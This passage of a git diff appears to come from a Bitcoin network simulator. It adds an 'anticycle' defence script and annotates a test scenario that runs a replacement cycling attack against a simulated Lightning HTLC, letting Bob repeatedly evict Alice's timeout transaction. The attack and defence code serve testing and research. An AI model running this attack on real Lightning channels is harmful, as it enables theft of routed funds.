new_top_block: + raw_tx = node.getrawtransaction(txid) + # We need to cache if it's removed later, since by the time + # we are told it's removed, it's already gone. Would be nice + # to get it when it's removed, or persist to disk, or whatever. + tx_cache[txid] = raw_tx + tx_cache_byte_size += int(len(raw_tx["hex"]) / 2) + + for tx_input in raw_tx["vin"]: + prevout = (tx_input['txid'], tx_input['vout']) + if prevout not in utxos_being_doublespent and prevout in utxo_cache: + # Bottom->Top, clear cached transaction + logging.info(f"anticycle - Deleting cache entry for {(tx_input['txid'], tx_input['vout'])}") + del utxo_cache[prevout] + elif prevout in utxos_being_doublespent and prevout not in utxo_cache: + if utxo_unspent_count[prevout] >= CYCLE_THRESH: + logging.info(f"anticycle - {prevout} has been RBF'd, caching {removed_txid}") + # Top->Top, cache the removed transaction + utxo_cache[prevout] = utxos_being_doublespent[prevout] + del utxos_being_doublespent[prevout] # delete to detect Top->Bottom later + + # Handle Top->Bottom: top utxos gone unspent + if len(utxos_being_doublespent) > 0: + # things were double-spent and not removed with top block + for prevout, removed_txid in utxos_being_doublespent.items(): + if removed_txid in tx_cache: + utxo_unspent_count[prevout] += 1 + + if utxo_unspent_count[prevout] >= CYCLE_THRESH: + logging.info( + f"anticycle - {prevout} has been cycled {utxo_unspent_count[prevout]} times, maybe caching {removed_txid}") + # cache removed tx if nothing cached for this utxo + if prevout not in utxo_cache: + logging.info(f"anticycle - cached {removed_txid}") + utxo_cache[prevout] = removed_txid + + # resubmit cached utxo tx + raw_tx = tx_cache[utxo_cache[prevout]]["hex"] + send_ret = node.sendrawtransaction(raw_tx) + if send_ret: + logging.info(f"anticycle - Successfully resubmitted {send_ret}") + logging.info(f"anticycle - rawhex: {raw_tx}") + + # We processed the double-spends, clear + utxos_being_doublespent.clear() + elif label == "R": + logging.info(f"anticycle - Tx {txid} removed") + # This tx is removed, perhaps replaced, next "A" message should be the tx replacing it(conflict_tx) + + # If this tx is in the tx_cache, that implies it was top block + # we need to see which utxos being non-top block once we see + # the next "A" + # N.B. I am not sure at all the next "A" is actually a double-spend, that should be checked! + # I'm going off of functional tests. + if txid in tx_cache: + for tx_input in tx_cache[txid]["vin"]: + utxos_being_doublespent[(tx_input["txid"], tx_input["vout"])] = txid + + elif label == "C" or label == "D": + #logging.info(f"anticycle - Block tip changed") + # FIXME do something smarter, for now we just hope this isn't hit on short timeframes + # Defender will have to resubmit enough again to be protected for the new period + if tx_cache_byte_size > tx_cache_max_byte_size: + logging.info(f"anticycle -wiping state") + utxo_cache.clear() + utxo_unspent_count.clear() + utxos_being_doublespent.clear() + tx_cache.clear() + tx_cache_byte_size = 0 + topblock_rate_sat_vb = requests.get(fee_url).json()["fastestFee"] + topblock_rate_btc_kvb = Decimal(topblock_rate_sat_vb) * 1000 / 100000000 + except KeyboardInterrupt: + logging.info("anticycle - Program interrupted by user") + finally: + # Clean up on exit + socket.close() + context.term() + + +class ReplacementCyclingTest(WarnetTestFramework): + + def set_test_params(self): + self.num_nodes = 2 + + def run_test(self): + run_anticycle(self.nodes[0], None, self.log) + + +if __name__ == '__main__': + ReplacementCyclingTest().main() \ No newline at end of file diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 975a5e4df..b39e54cae 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -6,9 +6,6 @@ # https://github.com/ariard/bitcoin/blob/30f5d5b270e4ff195e8dcb9ef6b7ddcc5f6a1bf2/test/functional/mempool_replacement_cycling.py#L5 -def cli_help(): - return "Run a replacement cycling attack" - """Test replacement cyling attacks against Lightning channels""" from test_framework.key import ( @@ -54,11 +51,14 @@ def cli_help(): SIGHASH_ANYONECANPAY, ) -#from test_framework.test_framework import BitcoinTestFramework from warnet.test_framework_bridge import WarnetTestFramework from test_framework.wallet import MiniWallet + +def cli_help(): + return "Run a replacement cycling attack" + def get_funding_redeemscript(funder_pubkey, fundee_pubkey): return CScript([OP_2, funder_pubkey.get_bytes(), fundee_pubkey.get_bytes(), OP_2, OP_CHECKMULTISIG]) @@ -79,7 +79,7 @@ def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey): return funding_tx def generate_parent_child_tx(wallet, coin, pubkey, sat_per_vbyte): - ## We build a junk parent transaction for the second-stage HTLC-preimage + # We build a junk parent transaction for the second-stage HTLC-preimage junk_parent_fee = 158 * sat_per_vbyte junk_script = CScript([OP_TRUE]) @@ -223,6 +223,8 @@ def test_replacement_cycling(self): # Generate funding transaction opening channel between Alice and Bob. ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + alice.log.info(f"A & B sign Funding Txn: Alice/Bob 2/2 multisig") + # Propagate and confirm funding transaction. ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), maxfeerate=0) @@ -240,6 +242,8 @@ def test_replacement_cycling(self): block = alice.getblock(lastblockhash) lastblockheight = block['height'] + self.log.info(f"Alice sent funding Txn, included @ {lastblockheight}") + hashlock = hash160(b'a' * 32) funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) @@ -251,7 +255,23 @@ def test_replacement_cycling(self): (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 1) - (ab_commitment_tx, alice_timeout_tx, bob_preimage_tx) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, 49.99998 * COIN, funding_redeemscript, 2, lastblockheight + 20, hashlock, 0x1, bob_parent_tx) + self.log.info("Bob makes the Parent Txn & Child Txn using Coin_2.") + + (ab_commitment_tx, alice_timeout_tx, bob_preimage_tx) = create_chan_state(ab_funding_txid, + 0, + alice_seckey, + bob_seckey, + 49.99998 * COIN, + funding_redeemscript, + 2, + lastblockheight + 20, + hashlock, + 0x1, + bob_parent_tx) + + self.log.info("Funding Txn output -> A & B sign the Commitment Txn: Alice can claim w/ 2/2 multisig; Bob can claim with hashlock") + self.log.info("Commitment Txn output -> A & B sign the Timeout Txn: After nLockTime, Alice claims with 2/2 multisig") + self.log.info("Commitment Txn output -> Bob signs the Preimage Txn: Bob claims Commitment Txn w/ preimage + the Parent Txn") # We broadcast Alice - Bob commitment transaction. ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), maxfeerate=0) @@ -267,10 +287,18 @@ def test_replacement_cycling(self): assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + + self.log.info(f"Alice broadcasted the Commitment Txn & mined 20 blocks; now @ {blockheight_print}") + # Broadcast the Bob parent transaction and its child transaction bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), maxfeerate=0) bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), maxfeerate=0) + self.log.info(f"Bob broadcasted the Parent Txn & Child Txn @ {blockheight_print}") + self.sync_all() assert bob_parent_txid in alice.getrawmempool() @@ -282,7 +310,7 @@ def test_replacement_cycling(self): block = alice.getblock(lastblockhash) blockheight_print = block['height'] - self.log.info("Alice broadcasts her HTLC timeout transaction at block height {}".format(blockheight_print)) + self.log.info("Alice broadcasts her Timeout Txn @ {}".format(blockheight_print)) # Broadcast the Alice timeout transaction alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), maxfeerate=0) @@ -300,7 +328,7 @@ def test_replacement_cycling(self): assert bob_preimage_txid in alice.getrawmempool() assert bob_preimage_txid in bob.getrawmempool() - self.log.info("Bob broadcasts his HTLC preimage transaction at block height {} to replace".format(blockheight_print)) + self.log.info("Bob broadcasted his Preimage Txn to replace Alice's Timeout Txn @ {}".format(blockheight_print)) # Check Alice timeout transaction and Bob child tx are not in the mempools anymore assert not alice_timeout_txid in alice.getrawmempool() @@ -308,11 +336,15 @@ def test_replacement_cycling(self): assert not bob_child_txid in alice.getrawmempool() assert not bob_child_txid in bob.getrawmempool() + self.log.info(f"Alice's Timeout Txn and Bob's Child Txn are not in mempool @ {blockheight_print}") + # Generate a higher fee parent transaction and broadcast it to replace Bob preimage tx (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 10) bob_replacement_parent_txid = bob.sendrawtransaction(hexstring=bob_replacement_parent_tx.serialize().hex(), maxfeerate=0) + self.log.info(f"Bob makes Replacement Parent Txn (w/ higher fee) and broadcasts it @ {blockheight_print}") + self.sync_all() # Check Bob HTLC preimage is not in the mempools anymore @@ -325,11 +357,20 @@ def test_replacement_cycling(self): assert_equal(len(alice.getrawmempool()), 1) assert_equal(len(bob.getrawmempool()), 1) + self.log.info(f"Bob's Preimage Txn not in mempool @ {blockheight_print}") + self.log.info(f"Bob's Replacement Parent Txn is in mempool @ {blockheight_print}") + # A block is mined and bob replacement parent should have confirms. self.generate(alice, 1) + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) + self.log.info(f"Mined Bob's Replacement Parent Txn @ {blockheight_print}") + # Alice can re-broadcast her HTLC-timeout as the offered output has not been claimed # Note the HTLC-timeout _txid_ must be modified to bypass p2p filters. Here we +1 the nSequence. (_, alice_timeout_tx_2, _) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, 49.99998 * COIN, funding_redeemscript, 2, lastblockheight + 20, hashlock, 0x2, bob_parent_tx) @@ -341,7 +382,8 @@ def test_replacement_cycling(self): block = alice.getblock(lastblockhash) blockheight_print = block['height'] - self.log.info("Alice re-broadcasts her HTLC timeout transaction at block height {}".format(blockheight_print)) + self.log.info( + f"Alice tweaks nSequence & re-broadcasts Timeout txn (output has not been claimed yet) @ {blockheight_print}") assert alice_timeout_txid_2 in alice.getrawmempool() assert alice_timeout_txid_2 in bob.getrawmempool() @@ -351,24 +393,36 @@ def test_replacement_cycling(self): (bob_parent_tx_2, bob_child_tx_2) = generate_parent_child_tx(wallet, coin_3, parent_seckey.get_pubkey(), 4) bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, hashlock, ab_commitment_tx, bob_parent_tx_2) + self.log.info( + f"Bob re-makes a Parent Txn & Child Txn (Coin_3) and a new Preimage Txn (spends Parent Txn) @ {blockheight_print}") + bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), maxfeerate=0) self.sync_all() + self.log.info( + f"Bob broadcasts Parent Txn @ {blockheight_print}") + bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), maxfeerate=0) self.sync_all() + self.log.info( + f"Bob broadcasts Child Txn @ {blockheight_print}") + bob_preimage_txid_2 = bob.sendrawtransaction(hexstring=bob_preimage_tx_2.serialize().hex(), maxfeerate=0) self.sync_all() + self.log.info( + f"Bob broadcasts Preimage Txn @ {blockheight_print}") + assert bob_preimage_txid_2 in alice.getrawmempool() assert bob_preimage_txid_2 in bob.getrawmempool() assert not alice_timeout_txid_2 in alice.getrawmempool() assert not alice_timeout_txid_2 in bob.getrawmempool() - self.log.info("Bob re-broadcasts his HTLC preimage transaction at block height {} to replace".format(blockheight_print)) + self.log.info(f"Bob's Preimage Txn is in the mempool; Alice's Timeout Txn is not @ {blockheight_print}") # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and double-spend her routed HTLCs. @@ -380,5 +434,6 @@ def run_test(self): self.test_replacement_cycling() + if __name__ == '__main__': ReplacementCyclingTest().main() \ No newline at end of file diff --git a/src/templates/Dockerfile b/src/templates/Dockerfile index a7c9d8cf7..402f66183 100644 --- a/src/templates/Dockerfile +++ b/src/templates/Dockerfile @@ -79,7 +79,7 @@ COPY src/templates/entrypoint.sh /entrypoint.sh COPY src/templates/tor/torrc /etc/tor/warnet-torr VOLUME ["/home/bitcoin/.bitcoin"] -EXPOSE 8332 8333 18332 18333 18443 18444 38333 38332 +EXPOSE 8332 8333 18332 18333 18443 18444 38333 38332 28332 28333 28334 ENTRYPOINT ["/entrypoint.sh"] CMD ["bitcoind"] diff --git a/src/warnet/tank.py b/src/warnet/tank.py index d3627bf73..3f571ffde 100644 --- a/src/warnet/tank.py +++ b/src/warnet/tank.py @@ -54,6 +54,7 @@ def __init__(self, index: int, warnet): self.rpc_password = "2themoon" self.zmqblockport = 28332 self.zmqtxport = 28333 + self.zmqpubsequenceport = 18332 self._suffix = None self._ipv4 = None self._exporter_name = None @@ -143,6 +144,7 @@ def get_bitcoin_conf(self, nodes: list[str]) -> str: conf += f" -rpcport={self.rpc_port}" conf += f" -zmqpubrawblock=tcp://0.0.0.0:{self.zmqblockport}" conf += f" -zmqpubrawtx=tcp://0.0.0.0:{self.zmqtxport}" + conf += f" -zmqpubsequence=tcp://0.0.0.0:{self.zmqpubsequenceport}" conf += " " + self.bitcoin_config for node in nodes: conf += f" -addnode={node}" diff --git a/test/scenarios_test.py b/test/scenarios_test.py index b5f447a80..24696de76 100755 --- a/test/scenarios_test.py +++ b/test/scenarios_test.py @@ -14,7 +14,7 @@ # Use rpc instead of warcli so we get raw JSON object scenarios = base.rpc("scenarios_available") -assert len(scenarios) == 5 +assert len(scenarios) == 6 # Start scenario base.warcli("scenarios run miner_std --allnodes --interval=1")